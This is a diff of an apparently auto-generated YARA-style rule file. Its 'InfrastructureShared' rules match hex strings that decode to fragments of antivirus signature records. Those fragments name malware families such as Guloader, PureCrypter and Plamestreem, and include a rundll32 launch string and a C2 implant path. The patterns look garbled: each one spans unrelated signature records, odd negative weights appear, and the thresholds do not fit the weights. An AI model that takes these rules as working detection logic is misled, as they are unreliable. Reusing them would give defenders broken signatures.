{6e 75 69 20 62 61 74 74 69 6e 67 01 00 19 81 01 70 74 65 72 69 64 6f 73 70 65 72 6d 61 70 68 79 74 61 20 70 79 63 6e 69 61 01 00 1a 81 01 74 72 61 6e 73 63 6f 6c 6f 75 72 20 72 65 65 6b 73 70 6f 72 74 65 72 6e 65 73 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 46 43 31 32 33 21 4d 54 } //385 - $a_00_3 = {0f } //66 + $a_66_1 = {72 72 65 64 44 69 73 70 6f 73 61 62 6c 65 01 00 12 01 43 61 74 65 67 6f 72 79 4d 65 6d 62 65 72 73 68 69 70 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 50 30 31 21 4d 54 42 00 01 00 13 81 01 71 75 61 64 72 65 6c 20 61 } //17409 + $a_6b_2 = {73 6d 65 6e 73 01 00 0c 81 01 66 61 6e 63 69 66 75 6c 6e 65 73 73 01 00 1b 81 01 66 72 65 6d 74 69 64 73 70 6c 61 6e 65 6e 20 63 6f 6d 70 6c 69 65 64 2e 65 78 65 01 00 0d 81 01 73 6e 69 72 6b 6c 20 62 72 72 65 6e 65 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4b 30 31 21 4d 54 } //24942 + $a_00_3 = {20 } //66 condition: - ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*17409+(#a_61_2 & 1)*385+(#a_00_3 & 1)*66) >=4 + ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*17409+(#a_6b_2 & 1)*24942+(#a_00_3 & 1)*66) >=4 } -rule _InfrastructureShared_9232{ +rule _InfrastructureShared_9807{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 41 50 30 31 21 4d 54 42 00 01 00 13 81 01 71 75 61 64 72 65 6c 20 61 6e 61 72 6b 69 73 6d 65 6e 73 01 00 0c 81 01 66 61 6e 63 69 66 75 6c 6e 65 73 73 01 00 1b 81 01 66 72 65 6d } //18467 + $a_73_1 = {6c 61 6e 65 6e 20 63 6f 6d 70 6c 69 65 64 2e 65 78 65 01 00 0d 81 01 73 6e 69 72 6b 6c 20 62 72 72 65 6e 65 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4b 30 31 21 4d 54 42 00 01 00 20 81 01 70 72 69 6d 72 6f 73 65 64 20 66 6f 72 6c 61 } //26996 + $a_69_2 = {6b 73 6f 6d 68 65 64 73 20 73 65 6a 01 00 16 81 01 75 65 74 61 62 6c 65 72 65 64 65 73 20 75 6e 65 64 75 63 61 74 65 01 00 0c 81 01 67 79 64 6e 69 6e 67 65 72 6e 65 73 01 00 0c 81 01 6f 6e 6f 69 63 6f 75 73 2e 74 78 74 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 50 30 31 21 4d 54 42 00 01 } //29543 + $a_01_3 = {70 61 74 69 65 6e 74 65 6e 20 63 68 72 6f 6e 6f 73 63 6f 70 76 01 00 18 81 01 68 61 72 73 68 6c 79 20 70 6f 6c 79 6f 78 79 6d 65 74 68 79 6c 65 6e 65 01 00 12 81 01 68 79 70 6f 67 79 6e 6f 75 73 20 67 61 74 65 77 61 79 01 00 0f 81 01 6b 6f 6e 74 6f 75 64 74 6f 67 73 2e 65 78 65 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f } //5376 + condition: + ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*26996+(#a_69_2 & 1)*29543+(#a_01_3 & 1)*5376) >=4 + +} +rule _InfrastructureShared_9808{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 4b 30 31 21 4d 54 42 00 01 00 20 81 01 70 72 69 6d 72 6f 73 65 64 20 66 6f 72 6c 61 67 73 76 69 72 6b 73 6f 6d 68 65 64 73 20 73 65 6a 01 00 16 81 01 75 65 74 61 62 6c 65 72 65 64 65 73 20 75 6e } //18467 + $a_63_1 = {74 65 01 00 0c 81 01 67 79 64 6e 69 6e 67 65 72 6e 65 73 01 00 0c 81 01 6f 6e 6f 69 63 6f 75 73 2e 74 78 74 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 50 30 31 21 4d 54 42 00 01 00 15 81 01 70 61 74 69 65 6e 74 65 6e 20 63 68 72 6f 6e 6f 73 63 6f 70 76 01 00 18 81 01 68 61 72 73 68 6c } //25701 + $a_6f_2 = {79 6f 78 79 6d 65 74 68 79 6c 65 6e 65 01 00 12 81 01 68 79 70 6f 67 79 6e 6f 75 73 20 67 61 74 65 77 61 79 01 00 0f 81 01 6b 6f 6e 74 6f 75 64 74 6f 67 73 2e 65 78 65 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 42 30 31 21 4d 54 42 00 01 00 0f 81 01 72 65 64 75 63 65 72 } //8313 + $a_65_3 = {6e 65 73 01 00 1b 81 01 66 6c 79 64 65 6b 72 61 6e 20 6f 72 74 68 6f 73 69 6c 69 63 61 74 65 2e 65 78 65 01 00 18 81 01 69 6e 64 75 73 74 72 69 76 61 72 65 72 20 73 6b 6c 6d 73 73 74 72 65 67 01 00 0c 81 01 73 6b 70 70 65 6e 64 65 2e 62 6c 6e 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e } //28265 + condition: + ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*25701+(#a_6f_2 & 1)*8313+(#a_65_3 & 1)*28265) >=4 + +} +rule _InfrastructureShared_9809{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 50 30 31 21 4d 54 42 00 01 00 15 81 01 70 61 74 69 65 6e 74 65 6e 20 63 68 72 6f 6e 6f 73 63 6f 70 76 01 00 18 81 01 68 61 72 73 68 6c 79 20 70 6f 6c 79 6f 78 79 6d 65 74 68 79 6c 65 6e 65 01 00 } //18467 + $a_68_1 = {70 } //-32494 p + $a_6e_2 = {75 73 20 67 61 74 65 77 61 79 01 00 0f 81 01 6b 6f 6e 74 6f 75 64 74 6f 67 73 2e 65 78 65 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 42 30 31 21 4d 54 42 00 01 00 0f 81 01 72 65 64 75 63 65 72 69 6e 67 65 72 6e 65 73 01 00 1b 81 01 66 6c 79 64 65 6b 72 61 6e 20 6f 72 74 68 6f 73 69 6c 69 63 61 74 } //26479 + $a_78_3 = {01 00 18 81 01 69 6e 64 75 73 74 72 69 76 61 72 65 72 20 73 6b 6c 6d 73 73 74 72 65 67 01 00 0c 81 01 73 6b 70 70 65 6e 64 65 2e 62 6c 6e 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 42 53 31 32 33 21 4d 54 42 00 01 00 0b 81 01 6d 61 6e 75 } //11877 + condition: + ((#a_54_0 & 1)*18467+(#a_68_1 & 1)*-32494+(#a_6e_2 & 1)*26479+(#a_78_3 & 1)*11877) >=4 + +} +rule _InfrastructureShared_9810{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4f 42 30 31 21 4d 54 42 00 01 00 0f 81 01 72 65 64 75 63 65 72 69 6e 67 65 72 6e 65 73 01 00 1b 81 01 66 6c 79 64 65 6b 72 61 6e 20 6f 72 74 68 6f 73 69 6c 69 63 61 74 65 2e 65 78 65 01 00 18 81 01 } //18467 + $a_75_1 = {74 72 69 76 61 72 65 72 20 73 6b 6c 6d 73 73 74 72 65 67 01 00 0c 81 01 73 6b 70 70 65 6e 64 65 2e 62 6c 6e 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 42 42 53 31 32 33 21 4d 54 42 00 01 00 0b 81 01 6d 61 6e 75 74 65 72 67 69 75 6d 01 00 } //28265 + $a_74_2 = {69 } //-32498 i + $a_20_3 = {61 74 74 69 6e 67 01 00 19 81 01 70 74 65 72 69 64 6f 73 70 65 72 6d 61 70 68 79 74 61 20 70 79 63 6e 69 61 01 00 1a 81 01 74 72 61 6e 73 63 6f 6c 6f 75 72 20 72 65 65 6b 73 70 6f 72 74 65 72 6e 65 73 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 47 46 43 } //30062 + condition: + ((#a_54_0 & 1)*18467+(#a_75_1 & 1)*28265+(#a_74_2 & 1)*-32498+(#a_20_3 & 1)*30062) >=4 + +} +rule _InfrastructureShared_9811{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -99018,7 +105331,7 @@ rule _InfrastructureShared_9232{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*29817+(#a_65_2 & 1)*25702+(#a_21_3 & 1)*12849) >=4 } -rule _InfrastructureShared_9233{ +rule _InfrastructureShared_9812{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -99031,7 +105344,7 @@ rule _InfrastructureShared_9233{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25711+(#a_6d_2 & 1)*26483+(#a_72_3 & 1)*25697) >=4 } -rule _InfrastructureShared_9234{ +rule _InfrastructureShared_9813{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -99044,7 +105357,7 @@ rule _InfrastructureShared_9234{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*5376+(#a_65_2 & 1)*25902+(#a_65_3 & 1)*31080) >=4 } -rule _InfrastructureShared_9235{ +rule _InfrastructureShared_9814{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -99057,7 +105370,7 @@ rule _InfrastructureShared_9235{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*29811+(#a_64_2 & 1)*29555+(#a_72_3 & 1)*25697) >=4 } -rule _InfrastructureShared_9236{ +rule _InfrastructureShared_9815{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -99070,7 +105383,7 @@ rule _InfrastructureShared_9236{ ((#a_54_0 & 1)*18467+(#a_73_1 & 1)*25970+(#a_74_2 & 1)*-32489+(#a_68_3 & 1)*29541) >=4 } -rule _InfrastructureShared_9237{ +rule _InfrastructureShared_9816{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -99083,7 +105396,7 @@ rule _InfrastructureShared_9237{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*385+(#a_69_2 & 1)*24937+(#a_33_3 & 1)*12610) >=4 } -rule _InfrastructureShared_9238{ +rule _InfrastructureShared_9817{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -99096,7 +105409,7 @@ rule _InfrastructureShared_9238{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3584+(#a_69_2 & 1)*26465+(#a_75_3 & 1)*8292) >=4 } -rule _InfrastructureShared_9239{ +rule _InfrastructureShared_9818{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -99109,33 +105422,45 @@ rule _InfrastructureShared_9239{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*27756+(#a_6b_2 & 1)*28005+(#a_54_3 & 1)*-32739) >=4 } -rule _InfrastructureShared_9240{ +rule _InfrastructureShared_9819{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 51 51 5a 31 32 33 21 4d 54 42 00 01 00 19 81 01 73 63 72 65 61 6d 65 64 20 72 75 6d 62 61 69 6e 67 20 73 6f 6f 74 69 73 68 01 00 10 81 01 62 72 6e 64 65 6d 72 6b 6e 69 6e 67 65 72 6e 65 01 00 0d 81 } //18467 $a_74_1 = {73 20 69 73 63 68 75 72 79 01 00 16 81 01 73 65 69 73 6d 6f 6d 65 74 65 72 65 74 20 72 75 73 74 65 64 65 73 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 49 6e 73 74 61 6c 6c 53 68 69 65 6c 64 00 01 00 1b 80 01 53 6f 66 74 77 61 72 65 5c 49 6e 73 74 61 6c 6c 53 68 69 65 6c 64 5c 49 53 57 49 01 00 1d 80 01 } //27137 - $a_73_2 = {53 65 74 75 70 20 77 61 73 20 63 72 65 61 74 65 64 20 77 69 74 68 20 61 01 00 09 80 01 53 65 74 75 70 2e 69 73 73 01 00 1d 80 01 44 6f 74 4e 65 74 4f 70 74 69 6f 6e 61 6c 49 6e 73 74 61 6c 6c 49 66 53 69 6c 65 6e 74 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 } //26708 - $a_61_3 = {65 73 74 72 65 65 6d 2e 41 21 64 68 61 00 01 00 28 01 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 22 25 73 22 2c 47 65 74 53 74 61 72 74 4f 62 6a 65 63 74 45 78 20 2d 75 73 65 72 01 00 04 01 25 73 3d 31 01 00 18 01 4d 65 6d 73 74 72 65 61 6d 20 69 73 20 36 34 2d 62 69 74 73 3a 20 25 73 01 00 06 01 25 73 5b 53 35 5d 00 00 78 8a } //20527 + $a_73_2 = {53 65 74 75 70 20 77 61 73 20 63 72 65 61 74 65 64 20 77 69 74 68 20 61 01 00 09 80 01 53 65 74 75 70 2e 69 73 73 01 00 1d 80 01 44 6f 74 4e 65 74 4f 70 74 69 6f 6e 61 6c 49 6e 73 74 61 6c 6c 49 66 53 69 6c 65 6e 74 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 73 } //26708 + $a_41_3 = {21 4d 54 42 00 01 00 26 01 01 fe 0e 01 00 fe 0c 00 00 fe 0c 01 00 20 00 00 00 00 20 04 00 00 00 6f 21 00 00 0a 26 fe 0c 01 00 20 00 00 00 } //25449 condition: - ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27137+(#a_73_2 & 1)*26708+(#a_61_3 & 1)*20527) >=4 + ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*27137+(#a_73_2 & 1)*26708+(#a_41_3 & 1)*25449) >=4 } -rule _InfrastructureShared_9241{ +rule _InfrastructureShared_9820{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_73_0 = {61 6c 6c 53 68 69 65 6c 64 00 01 00 1b 80 01 53 6f 66 74 77 61 72 65 5c 49 6e 73 74 61 6c 6c 53 68 69 65 6c 64 5c 49 53 57 49 01 00 1d 80 01 54 68 69 73 20 53 65 74 75 70 20 77 61 73 20 63 72 65 61 74 65 64 20 77 69 74 68 20 61 01 00 09 80 01 53 65 74 75 70 2e 69 73 73 01 00 1d 80 01 44 6f 74 4e 65 74 4f 70 74 69 6f 6e 61 6c 49 } //18723 - $a_61_1 = {6c 49 66 53 69 6c 65 6e 74 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 50 6c 61 6d 65 73 74 72 65 65 6d 2e 41 21 64 68 61 00 01 00 28 01 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 22 25 73 22 2c 47 65 74 53 74 61 72 74 4f 62 6a 65 63 74 45 78 20 2d 75 73 65 72 01 00 04 01 25 73 3d 31 01 00 18 } //29550 - $a_6d_2 = {74 72 65 61 6d 20 69 73 20 36 34 2d 62 69 74 73 3a 20 25 73 01 00 06 01 25 73 5b 53 35 5d 00 00 78 8a 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6c 6f 62 61 6c 6d 75 6c 65 2e 43 21 64 68 61 00 01 00 0b 01 45 78 20 72 65 63 76 20 4f 4b 21 01 00 0c 01 5b } //19713 - $a_63_3 = {56 61 6c 75 65 5d 01 00 16 01 53 72 76 47 6c 62 48 74 74 70 4d 6f 64 75 6c 65 36 34 2e 64 6c 6c 01 00 0e 01 52 65 67 69 73 74 65 72 4d 6f 64 75 6c 65 01 00 0c 01 43 72 79 70 74 44 65 63 72 79 70 74 00 00 78 8a 00 00 04 00 04 00 05 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 45 69 76 65 65 74 2e 41 00 01 00 } //26691 + $a_61_1 = {6c 49 66 53 69 6c 65 6e 74 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 73 69 63 2e 41 42 21 4d 54 42 00 01 00 26 01 01 fe 0e 01 00 fe 0c 00 00 fe 0c 01 00 20 00 00 00 00 20 04 00 00 00 6f 21 00 00 0a 26 fe 0c 01 00 20 00 00 00 00 01 00 13 01 44 65 62 75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 } //29550 + $a_6f_3 = {42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0a 01 47 5a 69 70 53 74 72 65 61 6d 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 54 45 4c 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 50 6c 61 6d 65 73 74 72 65 65 6d 2e 41 21 64 68 61 00 01 00 28 01 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 22 25 73 22 2c 47 65 74 53 74 61 72 74 4f 62 6a 65 63 74 } //17921 condition: - ((#a_73_0 & 1)*18723+(#a_61_1 & 1)*29550+(#a_6d_2 & 1)*19713+(#a_63_3 & 1)*26691) >=4 + ((#a_73_0 & 1)*18723+(#a_61_1 & 1)*29550+(#a_6f_3 & 1)*17921) >=4 } -rule _InfrastructureShared_9242{ +rule _InfrastructureShared_9821{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 42 61 73 69 63 2e 41 42 21 4d 54 42 00 01 00 26 01 01 fe 0e 01 00 fe 0c 00 00 fe 0c 01 00 20 00 00 00 00 20 04 00 00 00 6f 21 00 00 0a 26 fe 0c 01 00 20 00 00 00 00 01 00 } //21539 + $a_65_1 = {75 67 67 61 62 6c 65 41 74 74 72 69 62 75 74 65 01 00 10 01 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 01 00 0a 01 47 5a 69 70 53 74 72 65 61 6d 00 00 78 8a 00 00 04 00 04 00 04 00 21 23 54 45 4c 50 } //275 + $a_54_2 = {6f 6a 61 6e 3a 57 69 6e 36 34 2f 50 6c 61 6d 65 73 74 72 65 65 6d 2e 41 21 64 68 61 00 01 00 28 01 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 22 25 73 22 2c 47 65 74 53 74 61 72 } //21061 + $a_6a_3 = {63 74 45 78 20 2d 75 73 65 72 01 00 04 01 25 73 3d 31 01 00 18 01 4d 65 6d 73 74 72 65 61 6d 20 69 73 20 36 34 2d 62 69 74 73 3a 20 25 73 01 00 06 01 25 73 5b 53 35 5d 00 00 78 8a 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6c 6f 62 61 6c 6d 75 } //20340 + condition: + ((#a_4c_0 & 1)*21539+(#a_65_1 & 1)*275+(#a_54_2 & 1)*21061+(#a_6a_3 & 1)*20340) >=4 + +} +rule _InfrastructureShared_9822{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -99148,46 +105473,45 @@ rule _InfrastructureShared_9242{ ((#a_4c_0 & 1)*21539+(#a_20_1 & 1)*17780+(#a_65_2 & 1)*17243+(#a_32_3 & 1)*23553) >=4 } -rule _InfrastructureShared_9243{ +rule _InfrastructureShared_9823{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 6c 6f 62 61 6c 6d 75 6c 65 2e 43 21 64 68 61 00 01 00 0b 01 45 78 20 72 65 63 76 20 4f 4b 21 01 00 0c 01 5b 43 68 65 63 6b 56 61 6c 75 65 5d 01 00 16 01 53 72 76 47 6c 62 48 74 } //16675 $a_6f_1 = {75 6c 65 36 34 2e 64 6c 6c 01 00 0e 01 52 65 67 69 73 74 65 72 4d 6f 64 75 6c 65 01 00 0c 01 43 72 79 70 74 44 65 63 72 79 70 74 00 00 78 8a 00 00 04 00 04 00 05 00 21 23 53 4c 46 3a 57 69 6e 33 32 2f 45 69 76 65 65 74 2e 41 00 01 } //28788 - $a_01_2 = {5c 63 32 69 6d 70 6c 61 6e 74 5c 69 6d 70 6c 61 6e 74 5c 01 00 0b 00 63 6f 6c 6c 65 63 74 2e 7a 69 70 01 00 0b 00 54 61 73 6b 20 65 72 72 6f 72 3a 01 00 19 02 73 74 61 72 74 20 70 72 6f 63 65 73 73 90 02 0a 63 6f 6d 6d 61 6e 64 90 00 01 00 16 02 73 63 72 65 65 6e 73 68 6f 74 90 02 0a 63 6f 6c 6c 65 63 74 90 00 00 00 78 8a 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //4864 - $a_49_3 = {2f 4d 73 69 6c 68 65 72 61 63 6c 65 73 2e 50 47 4d 21 4d 54 42 00 01 00 36 80 01 49 55 64 6c 74 48 47 59 64 67 50 5a 65 49 61 4e 4e 49 72 4a 76 58 6d 4c 6c 64 2e 6b 6a 76 76 45 48 79 4f 6d 79 53 46 45 59 64 6c 66 45 79 4d 78 52 49 7a 68 4f 6e 04 00 } //19770 - $a_65_4 = {6d } //-32741 m + $a_01_2 = {5c 63 32 69 6d 70 6c 61 6e 74 5c 69 6d 70 6c 61 6e 74 5c 01 00 0b 00 63 6f 6c 6c 65 63 74 2e 7a 69 70 01 00 0b 00 54 61 73 6b 20 65 72 72 6f 72 3a 01 00 19 02 73 74 61 72 74 20 70 72 6f 63 65 73 73 90 02 0a 63 6f 6d 6d 61 6e 64 90 00 01 00 16 02 73 63 72 65 65 6e 73 68 6f 74 90 02 0a 63 6f 6c 6c 65 63 74 90 00 00 00 78 8a 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e } //4864 + $a_49_3 = {2f 50 75 72 65 43 72 79 70 74 65 72 2e 50 53 21 4d 54 42 00 03 00 34 03 0c 08 06 6f 90 01 03 0a 08 07 6f 90 01 03 0a 08 6f 90 01 03 0a 02 16 02 8e 69 6f 90 01 03 0a 0d dd 90 01 03 00 08 39 90 01 03 00 08 6f 90 01 03 0a dc 90 00 01 00 0f 01 43 72 65 } //19770 + $a_44_4 = {63 72 79 70 74 6f 72 01 00 0e 01 47 65 74 46 61 6b 65 50 61 79 6c 6f 61 64 00 00 78 8a 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 61 77 33 33 00 02 00 20 80 01 63 6f 6e 74 72 6f 6c 2e 6b 6f 63 68 61 76 61 2e 63 6f 6d } //29793 condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28788+(#a_01_2 & 1)*4864+(#a_49_3 & 1)*19770+(#a_65_4 & 1)*-32741) >=4 + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*28788+(#a_01_2 & 1)*4864+(#a_49_3 & 1)*19770+(#a_44_4 & 1)*29793) >=4 } -rule _InfrastructureShared_9244{ +rule _InfrastructureShared_9824{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_46_0 = {57 69 6e 33 32 2f 45 69 76 65 65 74 2e 41 00 01 00 13 80 01 5c 63 32 69 6d 70 6c 61 6e 74 5c 69 6d 70 6c 61 6e 74 5c 01 00 0b 00 63 6f 6c 6c 65 63 74 2e 7a 69 70 01 00 0b 00 54 61 73 6b 20 65 72 72 6f 72 3a 01 00 19 02 73 74 61 } //21283 $a_70_1 = {6f 63 65 73 73 90 02 0a 63 6f 6d 6d 61 6e 64 90 00 01 00 16 02 73 63 72 65 65 6e 73 68 6f 74 90 } //29810 - $a_6f_2 = {6c 65 63 74 90 00 00 00 78 8a 00 00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 73 69 6c 68 65 72 61 63 6c 65 73 2e 50 47 4d 21 4d 54 42 00 01 00 36 80 01 49 55 64 6c 74 48 47 59 64 67 50 5a 65 49 61 4e 4e 49 72 4a 76 58 6d 4c 6c 64 2e 6b 6a 76 76 45 48 79 4f 6d 79 } //2562 - $a_59_3 = {6c 66 45 79 4d 78 52 49 7a 68 4f 6e 04 00 1b 80 01 65 4f 6d 6e 57 61 42 54 76 4d 43 77 4e 46 51 63 77 6c 5a 41 53 76 79 45 57 4a 52 00 00 78 8a 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 } //18003 - $a_65_4 = {3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 61 77 33 33 00 02 00 20 80 01 63 6f 6e 74 72 6f 6c 2e 6b 6f 63 68 61 76 61 2e 63 6f 6d 2f 76 31 2f 63 70 69 2f 63 6c 69 63 6b 01 00 14 80 01 4e 6f 20 4f 66 66 65 72 20 44 69 73 70 6c 61 79 4e 61 6d 65 01 00 05 80 01 6f 70 65 72 61 01 00 0d 80 01 59 61 6e 64 } //24942 + $a_6f_2 = {6c 65 63 74 90 00 00 00 78 8a 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 43 72 79 70 74 65 72 2e 50 53 21 4d 54 42 00 03 00 34 03 0c 08 06 6f 90 01 03 0a 08 07 6f 90 01 03 0a 08 6f 90 01 03 0a 02 16 02 8e 69 6f 90 01 03 0a 0d dd 90 01 03 00 08 39 90 } //2562 + $a_03_4 = {0a } //-28561 condition: - ((#a_46_0 & 1)*21283+(#a_70_1 & 1)*29810+(#a_6f_2 & 1)*2562+(#a_59_3 & 1)*18003+(#a_65_4 & 1)*24942) >=4 + ((#a_46_0 & 1)*21283+(#a_70_1 & 1)*29810+(#a_6f_2 & 1)*2562+(#a_03_4 & 1)*-28561) >=4 } -rule _InfrastructureShared_9245{ +rule _InfrastructureShared_9825{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4d 73 69 6c 68 65 72 61 63 6c 65 73 2e 50 47 4d 21 4d 54 42 00 01 00 36 80 01 49 55 64 6c 74 48 47 59 64 67 50 5a 65 49 61 4e 4e 49 72 4a 76 58 6d 4c 6c 64 2e 6b 6a 76 76 } //21539 - $a_4f_1 = {79 53 46 45 59 64 6c 66 45 79 4d 78 52 49 7a 68 4f 6e 04 00 1b 80 01 65 4f 6d 6e 57 61 42 54 76 4d 43 77 4e 46 51 63 77 6c 5a 41 53 76 79 45 57 4a 52 00 00 78 8a 00 00 05 00 05 00 04 00 21 23 41 4c 46 3a 50 55 41 44 6c 4d 61 6e 61 67 65 72 3a 57 69 6e 33 32 2f 4f 66 66 65 72 43 6f 72 65 2e 61 77 33 33 00 02 00 20 80 01 63 6f 6e 74 72 6f 6c 2e 6b 6f 63 68 61 76 } //18501 + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 50 75 72 65 43 72 79 70 74 65 72 2e 50 53 21 4d 54 42 00 